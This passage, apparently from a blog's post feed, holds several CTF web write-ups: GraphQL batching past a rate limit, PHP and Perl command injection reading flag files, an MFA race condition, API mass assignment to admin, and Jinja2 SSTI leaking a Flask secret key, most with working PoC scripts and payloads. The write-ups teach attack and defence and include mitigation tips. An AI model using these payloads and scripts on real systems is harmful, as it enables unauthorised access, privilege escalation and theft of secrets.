votes.\nimport requests import time url = \u0026#34;http://dyn-03.heroctf.fr:10048/graphql\u0026#34; headers = {\u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;} nbQuerySent = 900 simple_query = \u0026#39;{\u0026#34;query\u0026#34;:\u0026#34;mutation { increaseClickSchool(schoolName: \\\\\u0026#34;Flag CyberSecurity School\\\\\u0026#34;){schoolId, nbClick} }\u0026#34;}\u0026#39; data = \u0026#34;[\u0026#34; + (simple_query + \u0026#34;,\u0026#34;) * nbQuerySent + simple_query + \u0026#34;]\u0026#34; nbIncrement = 0 while True: r = requests.post(url, headers=headers, data=data) if r.status_code == 200: print(\u0026#34;Added \u0026#34; + str(nbQuerySent) + \u0026#34; clicks to Flag CyberSecurity School\u0026#34;) nbIncrement += 1 if nbIncrement * nbQuerySent \u0026gt; 1337: print(\u0026#34;Flag CyberSecurity School has been clicked \u0026#34; + str(nbQuerySent * nbIncrement) + \u0026#34; times\u0026#34;) break elif r.status_code == 429: print(\u0026#34;Rate limit exceeded, waiting 1 second...\u0026#34;) time.sleep(1) else: print(\u0026#34;Error: \u0026#34; + str(r.text)) break I send batches of 900 because going higher blows past the max payload size.\nRate limit exceeded, waiting 1 second... Added 900 clicks to Flag CyberSecurity School Rate limit exceeded, waiting 1 second... ... Rate limit exceeded, waiting 1 second... Added 900 clicks to Flag CyberSecurity School Flag CyberSecurity School has been clicked 1800 times Now the Get The Flag! button gives up Hero{gr4phql_b4tch1ng_t0_byp4ss_r4t3l1m1t!!}.\nGreat sources OWASP - GraphQL Cheat Sheet HackTricks - GraphQL Tips \u0026amp; Tricks GraphQL was new to me, so this challenge was mostly a crash course. Picked up the basics and got more comfortable with cURL along the way.\nGraphQL - Batch Attacks Batching lets you pack many operations into a single request, which quietly defeats rate limiting and makes brute force both faster and harder to spot. Worth keeping in mind when building a GraphQL API. One defense is disabling aliases with the GraphQL No Alias plugin.\nGraphQL - Data Management I didn\u0026rsquo;t realize GraphQL has no getters/setters. You can\u0026rsquo;t write to object data directly, only through mutations, so if no mutation exists the data can\u0026rsquo;t be changed, which is a nice guard against accidental writes. Reading, on the other hand, is easy with queries.\nGraphQL - Rate Limiting You can rate-limit a GraphQL API to cap requests per second, which blunts brute force and other high-volume attacks. The limit can key off:\nIP address, over a time window user, over a time window user and IP together, over a time window Back when I wrote this (May 16, 2023), the go-to library was graphql-rate-limit.\n","date":"2024-05-15T00:00:00Z","image":"/images/heroctfv5/web/best_school_home.png","permalink":"/posts/ctf/heroctf-v5-2023/best-school/","title":"GraphQL alias batching to bypass a rate limit - HeroCTF v5"},{"content":"Introduction This is a WEB challenge from the PWNME CTF.\nContext Explanation Here, you can check the content present on the server.\nPrompt Find a way to abuse this functionality and read the contents of the flag.txt file.\nSolution The homepage. The source immediately gives it away with \u0026lt;?= shell_exec('ls '.$parsed); ?\u0026gt;: control $parsed and you get command execution.\nThe input is filtered through preg_match_all, which blocks ; and |:\n\u0026lt;?php $parsed = isset($_POST[\u0026#39;input\u0026#39;]) ? $_POST[\u0026#39;input\u0026#39;] : \u0026#34;/home/\u0026#34;; if($illegals){ echo \u0026#34;Illegals chars found\u0026#34;; $parsed = \u0026#34;/home/\u0026#34;; } The filter forgets \u0026amp;\u0026amp;, which chains commands just as well. So \u0026amp;\u0026amp; cat /home/flag.txt runs after the ls and leaks the file:\nPayload: \u0026amp;\u0026amp; cat /home/flag.txt\nFlag: PWNME{US3R_1nPUT2_1n_ShELL_Y3S_6x8c}\nTips \u0026amp; Tricks \u0026amp;\u0026amp; can be used to chain commands, similar to ; or |. Check which characters are filtered. Review the page source code. ","date":"2023-05-07T00:00:00Z","image":"/images/pwnme2023/web/tree_view_home_content.png","permalink":"/posts/ctf/pwnme-2023/web/tree-viewer/","title":"Bypassing a preg_match filter for command injection - PwnMe 2023"},{"content":"Introduction This challenge is an OSINT challenge from the PWNME CTF.\nContext explanation John Droper is a Franco-British individual who leaves an enormous digital footprint.\n(Note: He speaks both English and French, and some information can only be found through one of these languages.)\nDirective You have to find one of his main social media\nSolution All we start with is a name, so everything begins from a web search.\nSince the goal is a social account, I checked Facebook first. Searching his name turned up a profile matching it, with a fittingly sketchy profile picture.\nThe flag is sitting in the details under the \u0026ldquo;about\u0026rdquo; section.\nFlag : PWNME{TG9uZyBsaXZlIHRoZSB0cmFpbnMsIGxvbmcgbGl2}\n","date":"2023-05-07T00:00:00Z","image":"/images/pwnme2023/osint/john_droper_facebook_profile.png","permalink":"/posts/ctf/pwnme-2023/osint/social-media-goes-brrrr/","title":"Pivoting a bilingual target's social accounts - PwnMe 2023"},{"content":"Challenge source ImaginaryCTF 2025 - Web - Pearl Introduction pearl is about Perl\u0026rsquo;s two-argument open on unsanitized input. That form silently enables pipe opens (i.e. command execution) when the filename ends in |. The server URL-decodes the path too, so we can smuggle in a newline and arguments. Its blacklist catches a lot but misses the single trailing pipe, which is enough to run cat /flag*.\nContext Explanation A custom Perl HTTP server on HTTP::Daemon, serving files from ./files (see server.pl). The request path, after URL-decoding, builds a filesystem path that\u0026rsquo;s handed to two-arg open. The \u0026ldquo;sanitization\u0026rdquo; is a blacklist regex blocking .., some shell metacharacters, and |.*|, but not a lone trailing | and not newlines. The flag file is renamed at container start (flag.txt -\u0026gt; /flag-\u0026lt;md5\u0026gt;.txt), so /flag* matches reliably. RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk \u0026#39;{print $1}\u0026#39;).txt Directive Build a path that, once URL-decoded, carries a newline and a shell command ending in a trailing |. Send it so two-arg open reads it as a pipe open and runs the command. Glob /flag* to hit the randomized flag filename. Solution 1) Server behavior \u0026amp; vulnerable code Relevant pieces from server.pl:\nmy $webroot = \u0026#34;./files\u0026#34;; ... while (my $r = $c-\u0026gt;get_request) { if ($r-\u0026gt;method eq \u0026#39;GET\u0026#39;) { my $path = CGI::unescape($r-\u0026gt;uri-\u0026gt;path); # URL-decodes (%0A =\u0026gt; newline) $path =~ s|^/||; $path ||= \u0026#39;index.html\u0026#39;; my $fullpath = File::Spec-\u0026gt;catfile($webroot, $path); # Partial blacklist — note it only bans a pipe WHEN followed by ... another pipe if ($fullpath =~ /\\.\\.|[,\\`\\)\\(;\u0026amp;]|\\|.*\\|/) { $c-\u0026gt;send_error(RC_BAD_REQUEST, \u0026#34;Invalid path\u0026#34;); next; } ... # Serve file open(my $fh, $fullpath) or do { # \u0026lt;-- two-arg open on untrusted string $c-\u0026gt;send_error(RC_INTERNAL_SERVER_ERROR, \u0026#34;Could not open file.\u0026#34;); next; }; binmode $fh; my $content = do { local $/; \u0026lt;$fh\u0026gt; }; close $fh; ... Three things line up here:\nCGI::unescape turns %0A into a real newline inside $path. The regex only matches \\|.*\\| (pipe, something, pipe), so a single trailing | slips past. Two-arg open on a string ending in | becomes a pipe read from the command before it. So if $fullpath ends up as \u0026quot;./files/x\\ncat /flag*|\u0026quot;, Perl runs cat /flag* and pipes the output into $fh. Also from the Dockerfile:\nCOPY flag.txt / RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk \u0026#39;{print $1}\u0026#39;).txt Which is why /flag* is a safe glob target.\n2) PoC request — newline + trailing pipe The PoC (pearl/poc/pearl.txt) sends a raw HTTP request:\nGET /x%0Acat%20/flag*%7C HTTP/1.1 Host: pearl.chal.imaginaryctf.org Connection: keep-alive URL-decoded path becomes:\n/x cat /flag*| Line 1 is a throwaway filename under ./files/ (it needn\u0026rsquo;t exist). Line 2 is the command we want open to run, ending in |. open reads $fullpath as a pipe, runs cat /flag*, and the flag comes back. 3) Why it works The whole thing hangs on two-arg open over an untrusted scalar, where a trailing | means \u0026ldquo;run this as a command\u0026rdquo;. The blacklist never covers that single-pipe case and never strips newlines, so a newline lets us tack a separate command onto a filename. CGI::unescape turns %0A into the real newline that makes it parse, and /flag* sidesteps the randomized filename.\nTips \u0026amp; Tricks Perl open gotcha: open($fh, $user_input) should set off alarms. A trailing | reads from a command, a leading | writes to one, both are handy primitives. Weak blacklists: \\|.*\\| only catches paired pipes. A newline (%0A) plus a single pipe slips straight through. Randomized filenames: when the flag is renamed with a hash, glob it (/flag*) instead of guessing. ","date":"2025-09-06T00:00:00Z","image":"/images/imaginaryctf2025/web/pearl_home.png","permalink":"/posts/ctf/imaginaryctf-2025/pearl/","title":"Perl two-argument open command execution - ImaginaryCTF 2025"},{"content":"Challenge source Nullcon Berlin HackIM 2025 - Web - Webby Introduction Webby is a tiny web.py app behind an MFA gate. The intended flow is: valid credentials -\u0026gt; MFA page -\u0026gt; enter token -\u0026gt; flag. The implementation has a race condition, though: the server marks you logged in before it computes the expensive MFA token and clears the session, so a concurrent request can reach /flag during that window and skip MFA entirely.\nContext Explanation Stack: Python web.py, bcrypt, shelve-backed sessions (/tmp/session.shelf). Auth: a static user DB; admin/admin requires MFA. MFA: a per-session tokenMFA derived with bcrypt cost 14, then wrapped in MD5, deliberately slow. Flag gate: /flag only checks session.loggedIn and session.username == 'admin'. Key bits:\n# Session + flag session = web.session.Session(app, web.session.ShelfStore(shelve.open(\u0026#34;/tmp/session.shelf\u0026#34;))) FLAG = open(\u0026#34;/tmp/flag.txt\u0026#34;).read() Directive Race it with two concurrent requests on the same session cookie: a POST / to log in as admin, and a GET /flag fired repeatedly while the server is still grinding on the MFA token.\nSolution 1) Credentials and MFA requirement def check_user_creds(user,pw): users = { # Add more users if needed \u0026#39;user1\u0026#39;: \u0026#39;user1\u0026#39;, \u0026#39;user2\u0026#39;: \u0026#39;user2\u0026#39;, \u0026#39;user3\u0026#39;: \u0026#39;user3\u0026#39;, \u0026#39;user4\u0026#39;: \u0026#39;user4\u0026#39;, \u0026#39;admin\u0026#39;: \u0026#39;admin\u0026#39;, } try: return users[user] == pw except: return False def check_mfa(user): users = { \u0026#39;user1\u0026#39;: False, \u0026#39;user2\u0026#39;: False, \u0026#39;user3\u0026#39;: False, \u0026#39;user4\u0026#39;: False, \u0026#39;admin\u0026#39;: True, } try: return users[user] except: return False 2) Vulnerable login flow (TOCTOU) On good credentials the code marks the session logged in and writes it to disk, then starts MFA setup:\n# POST \u0026#39;/\u0026#39; (login) def POST(self): f = login_Form() if not f.validates(): session.kill() return render.index(f) i = web.input() if not check_user_creds(i.username, i.password): session.kill() raise web.seeother(\u0026#39;/\u0026#39;) else: session.loggedIn = True session.username = i.username session._save() if check_mfa(session.get(\u0026#34;username\u0026#34;, None)): session.doMFA = True # heavy work session.tokenMFA = hashlib.md5(bcrypt.hashpw(str(secrets.randbits(random.randint(40,65))).encode(),bcrypt.gensalt(14))).hexdigest() session.loggedIn = False # \u0026lt;-- flipped back *after* the heavy work session._save() raise web.seeother(\u0026#34;/mfa\u0026#34;) return render.login(session.get(\u0026#34;username\u0026#34;,None)) bcrypt.gensalt(14) + hashpw is slow on purpose, and that\u0026rsquo;s the window:\nsession.loggedIn == True and session.username == 'admin' are already saved, the app is still busy generating tokenMFA, the flip back to loggedIn = False hasn\u0026rsquo;t been written yet. 3) Flag guard (weak) # GET \u0026#39;/flag\u0026#39; if not session.get(\u0026#34;loggedIn\u0026#34;, False) or session.get(\u0026#34;username\u0026#34;, None) != \u0026#34;admin\u0026#34;: raise web.seeother(\u0026#39;/\u0026#39;) return render.flag(FLAG) No MFA state here, just the two session flags. Hit this during the window and it\u0026rsquo;s over.\n4) PoC (concurrent requests) Fire the login in one thread and hammer /flag in parallel until a GET lands inside the bcrypt window:\nimport requests, threading, time BASE_URL = \u0026#34;http://52.59.124.14:5010\u0026#34; session = requests.Session() session.get(BASE_URL + \u0026#34;/\u0026#34;) cookies = dict(session.cookies) def login_admin(): data = {\u0026#34;username\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;submit\u0026#34;: \u0026#34;\u0026#34;} requests.post(BASE_URL + \u0026#34;/\u0026#34;, data=data, cookies=cookies) thread = threading.Thread(target=login_admin, daemon=True) thread.start() time.sleep(0.02) end = time.time() + 2 while time.time() \u0026lt; end: response = requests.get(BASE_URL + \u0026#34;/flag\u0026#34;, cookies=cookies) if response.status_code == 200 and \u0026#34;flag\u0026#34; in response.text.lower(): print(response.text) break time.sleep(0.005) thread.join(timeout=1) Why it works: session._save() writes loggedIn=True before the costly bcrypt step. While bcrypt runs, the same cookie can request /flag, and the check passes because it only looks at loggedIn and username.\nTips \u0026amp; Tricks Watch for \u0026ldquo;set then unset later\u0026rdquo;: a privileged bit that\u0026rsquo;s set and cleared around heavy crypto or IO is a prime spot to race reads of the protected endpoint. Session stores matter: disk/shelve-backed sessions plus separate requests are a classic source of TOCTOU windows. ","date":"2025-09-05T00:00:00Z","image":"/images/nullconberlin2025/web/webby_home.png","permalink":"/posts/ctf/nullcon-berlin-hackim-2025-ctf/webby/","title":"TOCTOU race to bypass MFA in a web.py login - Nullcon Berlin 2025"},{"content":"Challenge source snakeCTF 2025 Quals - Web - ExploitMe Introduction ExploitMe is a dating app for hackers, and its API has a mass-assignment flaw. Profile edits let us set fields we shouldn\u0026rsquo;t, so we flip ourselves to admin and read the flag out of a restricted chat.\nContext Explanation A Next.js app with API routes over SQLite. Registration hands out a JWT, and profile edits go through /api/edit. The backend validates with yup but never strips unknown fields, so any extra attribute you send lands straight in the SQL UPDATE.\nDirective Escalate the account to admin and read the flag from chat room #4.\nSolution Step 1: Register a new account curl -s -X POST \u0026#34;$URL/api/register\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;username\u0026#34;:\u0026#34;hitcat\u0026#34;,\u0026#34;email\u0026#34;:\u0026#34;hitcat@snake.ctf\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;Secret123!\u0026#34;}\u0026#39; This returns a valid JWT. Step 2: Complete onboarding curl -s -X POST \u0026#34;$URL/api/onboarding\u0026#34; \\ -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{ \u0026#34;role\u0026#34;: \u0026#34;WHITE_HAT\u0026#34;, \u0026#34;looking_for\u0026#34;: \u0026#34;WHITE_HAT\u0026#34;, \u0026#34;age\u0026#34;: 19, \u0026#34;likes\u0026#34;: [\u0026#34;IoT\u0026#34;], \u0026#34;dislikes\u0026#34;: [\u0026#34;SIM Swappers\u0026#34;], \u0026#34;bio\u0026#34;: \u0026#34;Your leet bio here\u0026#34;, \u0026#34;location\u0026#34;: \u0026#34;Obviously, the Internet\u0026#34;, \u0026#34;hacks\u0026#34;: [\u0026#34;Morris Worm\u0026#34;], \u0026#34;favorite_hacker\u0026#34;: \u0026#34;Kevin Mitnick\u0026#34;, \u0026#34;favorite_song\u0026#34;: \u0026#34;Careless Hacker\u0026#34;, \u0026#34;favorite_movie\u0026#34;: \u0026#34;My Little Pony: The Movie\u0026#34;, \u0026#34;yt_embed\u0026#34;: \u0026#34;https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc\u0026#34;, \u0026#34;touches_grass\u0026#34;: false }\u0026#39; Step 3: Exploit mass assignment in /api/edit The vulnerable code (edit.js):\nconst setClause = Object.keys(validated).map(field =\u0026gt; `\u0026#34;${field}\u0026#34; = ?`).join(\u0026#39;, \u0026#39;); const values = Object.values(validated); const updateQuery = `UPDATE users SET ${setClause} WHERE id = ?`; validated is built straight from the request body, and since yup wasn\u0026rsquo;t given stripUnknown: true, an extra is_admin field survives into the UPDATE. So:\ncurl -s -X POST \u0026#34;$URL/api/edit\u0026#34; \\ -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;is_admin\u0026#34;:1}\u0026#39; Step 4: Abuse admin privilege to report a chat curl -s -X POST \u0026#34;$URL/api/chat/4/report\u0026#34; \\ -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; Step 5: Read restricted messages (flag) curl -s \u0026#34;$URL/api/chat/4\u0026#34; \\ -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ | jq -r \u0026#39;.messages[] | .content\u0026#39; PoC #!/bin/bash URL=\u0026#34;https://9f2c6b38bc4461a2b4545a00c94951e2.exploitme.challs.snakectf.org\u0026#34; USERNAME=\u0026#34;hitcat\u0026#34; EMAIL=\u0026#34;hitcat@snake.ctf\u0026#34; PASSWORD=\u0026#34;Secret123!\u0026#34; # Step 1 : Register and get JWT echo \u0026#34;[*] Registering user $USERNAME...\u0026#34; TOKEN=$(curl -s -X POST \u0026#34;$URL/api/register\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#34;{\\\u0026#34;username\\\u0026#34;:\\\u0026#34;$USERNAME\\\u0026#34;,\\\u0026#34;email\\\u0026#34;:\\\u0026#34;$EMAIL\\\u0026#34;,\\\u0026#34;password\\\u0026#34;:\\\u0026#34;$PASSWORD\\\u0026#34;}\u0026#34; \\ | jq -r .token) if [ \u0026#34;$TOKEN\u0026#34; = \u0026#34;null\u0026#34; ] || [ -z \u0026#34;$TOKEN\u0026#34; ]; then echo \u0026#34;[!] Failed to get token during register\u0026#34; exit 1 fi echo \u0026#34;[+] Token obtained: $TOKEN\u0026#34; # Step 2 : Onboarding echo \u0026#34;[*] Sending onboarding data...\u0026#34; curl -s -X POST \u0026#34;$URL/api/onboarding\u0026#34; \\ -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{ \u0026#34;role\u0026#34;: \u0026#34;WHITE_HAT\u0026#34;, \u0026#34;looking_for\u0026#34;: \u0026#34;WHITE_HAT\u0026#34;, \u0026#34;age\u0026#34;: 19, \u0026#34;likes\u0026#34;: [\u0026#34;IoT\u0026#34;], \u0026#34;dislikes\u0026#34;: [\u0026#34;SIM Swappers\u0026#34;], \u0026#34;bio\u0026#34;: \u0026#34;Your leet bio here\u0026#34;, \u0026#34;location\u0026#34;: \u0026#34;Obviously, the Internet\u0026#34;, \u0026#34;hacks\u0026#34;: [\u0026#34;Morris Worm\u0026#34;], \u0026#34;favorite_hacker\u0026#34;: \u0026#34;Kevin Mitnick\u0026#34;, \u0026#34;favorite_song\u0026#34;: \u0026#34;Careless Hacker\u0026#34;, \u0026#34;favorite_movie\u0026#34;: \u0026#34;My Little Pony: The Movie\u0026#34;, \u0026#34;yt_embed\u0026#34;: \u0026#34;https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc\u0026#34;, \u0026#34;touches_grass\u0026#34;: false }\u0026#39; | jq . # Step 3 : Admin priv esc via mass assignment echo \u0026#34;[*] Trying to escalate privileges (is_admin=1)...\u0026#34; curl -s -X POST \u0026#34;$URL/api/edit\u0026#34; \\ -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;is_admin\u0026#34;:1}\u0026#39; | jq . # Step 4 : Report match n°4 echo \u0026#34;[*] Reporting match 4...\u0026#34; curl -s -X POST \u0026#34;$URL/api/chat/4/report\u0026#34; \\ -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; | jq . # Step 5 : Reading match n°4 messages echo \u0026#34;[*] Reading messages from match 4...\u0026#34; curl -s \u0026#34;$URL/api/chat/4\u0026#34; \\ -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ | jq -r \u0026#39;.messages[] | .content\u0026#39; Tips \u0026amp; Tricks Probe for mass assignment. Throw extra fields (is_admin, role, balance) at every update endpoint and see what sticks. Check how schemas handle unknowns. With yup or joi, confirm whether unknown keys are stripped, they often aren\u0026rsquo;t by default. Decode JWTs as you go. Reading the claims locally confirms the escalation actually took. ","date":"2025-08-29T00:00:00Z","image":"/images/snakectf2025/web/exploitme_home.png","permalink":"/posts/ctf/snakectf-2025/exploitme/","title":"API mass assignment to admin and a restricted chat - snakeCTF 2025"},{"content":"Introduction A single-page birthday-card generator with a form of four fields: sender, recipient, message, and message_final. Submit it and the card renders back with your values.\nContext Explanation The source is provided:\nfrom flask import Flask, request, jsonify, abort, render_template_string, session, redirect import builtins as _b import sys import os app = Flask(__name__) app.secret_key = os.getenv(\u0026#34;APP_SECRET_KEY\u0026#34;, \u0026#34;default_app_secret\u0026#34;) env = app.jinja_env KEY = os.getenv(\u0026#34;APP_SECRET_KEY\u0026#34;, \u0026#34;default_secret_key\u0026#34;) class validator: def security(): return _b def security1(a, b, c, d): if \u0026#39;validator\u0026#39; in a or \u0026#39;validator\u0026#39; in b or \u0026#39;validator\u0026#39; in c or \u0026#39;validator\u0026#39; in d: return False elif \u0026#39;os\u0026#39; in a or \u0026#39;os\u0026#39; in b or \u0026#39;os\u0026#39; in c or \u0026#39;os\u0026#39; in d: return False else: return True def security2(a, b, c, d): if len(a) \u0026lt;= 50 and len(b) \u0026lt;= 50 and len(c) \u0026lt;= 50 and len(d) \u0026lt;= 50: return True else : return False @app.route(\u0026#34;/\u0026#34;, methods=[\u0026#34;GET\u0026#34;, \u0026#34;POST\u0026#34;]) def personalized_card(): if request.method == \u0026#34;GET\u0026#34;: return \u0026#34;\u0026#34;\u0026#34; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;static/style.css\u0026#34;\u0026gt; \u0026lt;link href=\u0026#34;https://fonts.googleapis.com/css?family=Poppins:300,400,600\u0026amp;display=swap\u0026#34; rel=\u0026#34;stylesheet\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;card-generator\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;Personalized Card Generator\u0026lt;/h1\u0026gt; \u0026lt;form action=\u0026#34;/\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;sender\u0026#34;\u0026gt;Sender\u0026#39;s Name:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;sender\u0026#34; name=\u0026#34;sender\u0026#34; placeholder=\u0026#34;Your name\u0026#34; required maxlength=\u0026#34;50\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;recipient\u0026#34;\u0026gt;Recipient\u0026#39;s Name:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;recipient\u0026#34; name=\u0026#34;recipient\u0026#34; placeholder=\u0026#34;Recipient\u0026#39;s name\u0026#34; required maxlength=\u0026#34;50\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;message\u0026#34;\u0026gt;Message:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;message\u0026#34; name=\u0026#34;message\u0026#34; placeholder=\u0026#34;Your message\u0026#34; required maxlength=\u0026#34;50\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;message_final\u0026#34;\u0026gt;Final Message:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;message_final\u0026#34; name=\u0026#34;message_final\u0026#34; placeholder=\u0026#34;Final words\u0026#34; required maxlength=\u0026#34;50\u0026#34;\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34;\u0026gt;Generate Card\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026#34;\u0026#34;\u0026#34; elif request.method == \u0026#34;POST\u0026#34;: try: recipient = request.form.get(\u0026#34;recipient\u0026#34;, \u0026#34;\u0026#34;) sender = request.form.get(\u0026#34;sender\u0026#34;, \u0026#34;\u0026#34;) message = request.form.get(\u0026#34;message\u0026#34;, \u0026#34;\u0026#34;) final_message = request.form.get(\u0026#34;message_final\u0026#34;, \u0026#34;\u0026#34;) if validator.security1(recipient, sender, message, final_message) and validator.security2(recipient, sender, message, final_message): template = f\u0026#34;\u0026#34;\u0026#34; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;static/style.css\u0026#34;\u0026gt; \u0026lt;link href=\u0026#34;https://fonts.googleapis.com/css?family=Poppins:300,400,600\u0026amp;display=swap\u0026#34; rel=\u0026#34;stylesheet\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;card-preview\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;Your Personalized Card\u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;card\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;From: {sender}\u0026lt;/h2\u0026gt; \u0026lt;h2\u0026gt;To: {recipient}\u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt;{message}\u0026lt;/p\u0026gt; \u0026lt;h1\u0026gt;{final_message}\u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;a class=\u0026#34;new-card-link\u0026#34; href=\u0026#34;/\u0026#34;\u0026gt;Create Another Card\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026#34;\u0026#34;\u0026#34; else: template=\u0026#34;Either the recipient, sender, or message input is more than 50 letters\u0026#34; app.jinja_env = env app.jinja_env.globals.update({ \u0026#39;validator\u0026#39;: validator() }) return render_template_string(template) except Exception as e: return f\u0026#34;\u0026#34;\u0026#34; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;static/style.css\u0026#34;\u0026gt; \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;Error: {str(e)}\u0026lt;/h1\u0026gt; \u0026lt;br\u0026gt; \u0026lt;p\u0026gt;Please try again. \u0026lt;a href=\u0026#34;/\u0026#34;\u0026gt;Back to Card Generator\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026#34;\u0026#34;\u0026#34;, 400 @app.route(\u0026#34;/debug/test\u0026#34;, methods=[\u0026#34;POST\u0026#34;]) def test_debug(): user = session.get(\u0026#34;user\u0026#34;) host = request.headers.get(\u0026#34;Host\u0026#34;, \u0026#34;\u0026#34;) if host != \u0026#34;localhost:3030\u0026#34;: return \u0026#34;Access restricted to localhost:3030, this endpoint is only for development purposes\u0026#34;, 403 if not user: return \u0026#34;You must be logged in to test debugging.\u0026#34;, 403 try: raise ValueError(f\u0026#34;Debugging error: SECRET_KEY={KEY}\u0026#34;) except Exception as e: return \u0026#34;Debugging error occurred.\u0026#34;, 500 @app.route(\u0026#34;/admin/report\u0026#34;) def admin_report(): auth_cookie = request.cookies.get(\u0026#34;session\u0026#34;) if not auth_cookie: abort(403, \u0026#34;Unauthorized access.\u0026#34;) try: token, signature = auth_cookie.rsplit(\u0026#34;.\u0026#34;, 1) from app.sign import initFn signer = initFn(KEY) sign_token_function = signer.get_signer() valid_signature = sign_token_function(token) if valid_signature != signature: abort(403, f\u0026#34;Invalid token.\u0026#34;) if token == \u0026#34;admin\u0026#34;: return \u0026#34;Flag: p_ctf{redacted}\u0026#34; else: return \u0026#34;Access denied: admin only.\u0026#34; except Exception as e: abort(403, f\u0026#34;Invalid token format: {e}\u0026#34;) @app.after_request def clear_imports(response): if \u0026#39;app.sign\u0026#39; in sys.modules: del sys.modules[\u0026#39;app.sign\u0026#39;] if \u0026#39;app.sign\u0026#39; in globals(): del globals()[\u0026#39;app.sign\u0026#39;] return response Directive Exploit the Jinja2 SSTI to leak the Flask secret key, forge an admin session token, and read the flag from /admin/report.\nSolution The form fields go straight into an f-string that\u0026rsquo;s then passed to render_template_string, which is textbook Jinja2 SSTI:\ntemplate = f\u0026#34;\u0026#34;\u0026#34; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;static/style.css\u0026#34;\u0026gt; \u0026lt;link href=\u0026#34;https://fonts.googleapis.com/css?family=Poppins:300,400,600\u0026amp;display=swap\u0026#34; rel=\u0026#34;stylesheet\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;card-preview\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;Your Personalized Card\u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;card\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;From: {sender}\u0026lt;/h2\u0026gt; \u0026lt;h2\u0026gt;To: {recipient}\u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt;{message}\u0026lt;/p\u0026gt; \u0026lt;h1\u0026gt;{final_message}\u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;a class=\u0026#34;new-card-link\u0026#34; href=\u0026#34;/\u0026#34;\u0026gt;Create Another Card\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026#34;\u0026#34;\u0026#34; There are filters on the fields, though, and the flag itself only comes from /admin/report with a valid admin token. The checks:\nclass validator: def security(): return _b def security1(a, b, c, d): if \u0026#39;validator\u0026#39; in a or \u0026#39;validator\u0026#39; in b or \u0026#39;validator\u0026#39; in c or \u0026#39;validator\u0026#39; in d: return False elif \u0026#39;os\u0026#39; in a or \u0026#39;os\u0026#39; in b or \u0026#39;os\u0026#39; in c or \u0026#39;os\u0026#39; in d: return False else: return True def security2(a, b, c, d): if len(a) \u0026lt;= 50 and len(b) \u0026lt;= 50 and len(c) \u0026lt;= 50 and len(d) \u0026lt;= 50: return True else : return False So: no field may contain validator or os, and none may exceed 50 characters. Neither of those blocks reading the config, which holds the key.\nRetrieving the Secret Key {{config}} dumps the Flask config object:\nPOST / HTTP/2 Host: birthday.ctf.prgy.in Content-Length: 51 Content-Type: application/x-www-form-urlencoded sender={{config}}\u0026amp;message=msg\u0026amp;message_final=msg_fin \u0026lt;Config {\u0026#39;ENV\u0026#39;: \u0026#39;production\u0026#39;, 